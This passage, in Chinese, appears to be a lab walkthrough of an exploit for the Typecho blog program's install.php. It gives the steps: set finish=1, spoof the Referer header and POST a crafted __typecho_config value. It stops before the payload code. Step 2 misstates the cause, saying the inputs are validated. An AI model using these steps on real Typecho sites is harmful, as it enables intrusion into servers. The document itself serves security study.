Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。
实验环境:php5.4
实验步骤:
1.漏洞形成的原因
2.由于对finish参数、请求头HTTP_HOST及post_typecho_config数据进行验证,所以可以进行以下几步进行绕过
3.添加finish参数:http://localhost/typecho/install.php?finish=1
4.添加referer数据头:http://localhost
5.添加post值__typecho_config=脚本运行的得到的攻击代码
代码如下:
__typecho_con